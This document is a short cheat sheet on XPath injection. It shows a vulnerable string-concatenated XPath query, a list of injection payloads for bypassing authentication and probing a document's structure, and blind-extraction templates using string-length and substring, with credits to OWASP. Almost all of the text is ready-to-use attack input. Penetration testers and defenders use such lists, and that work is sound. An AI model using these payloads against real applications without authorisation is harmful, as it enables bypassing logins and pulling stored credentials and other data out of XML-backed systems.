# XPATH injection

XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.

## Exploitation

Similar to SQL : `"string(//user[name/text()='" +vuln_var1+ "' and password/text()='" +vuln_var1+ "']/account/text())"`

```
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
```

## Blind Exploitation

```
1. Size of a string
and string-length(account)=SIZE_INT

2. Extract a character
substring(//user[userid=5]/username,2,1)=CHAR_HERE
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
```

## Thanks to

- OWASP XPATH Injection (https://www.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010) )
- XPATH Blind Explorer (http://code.google.com/p/xpath-blind-explorer/)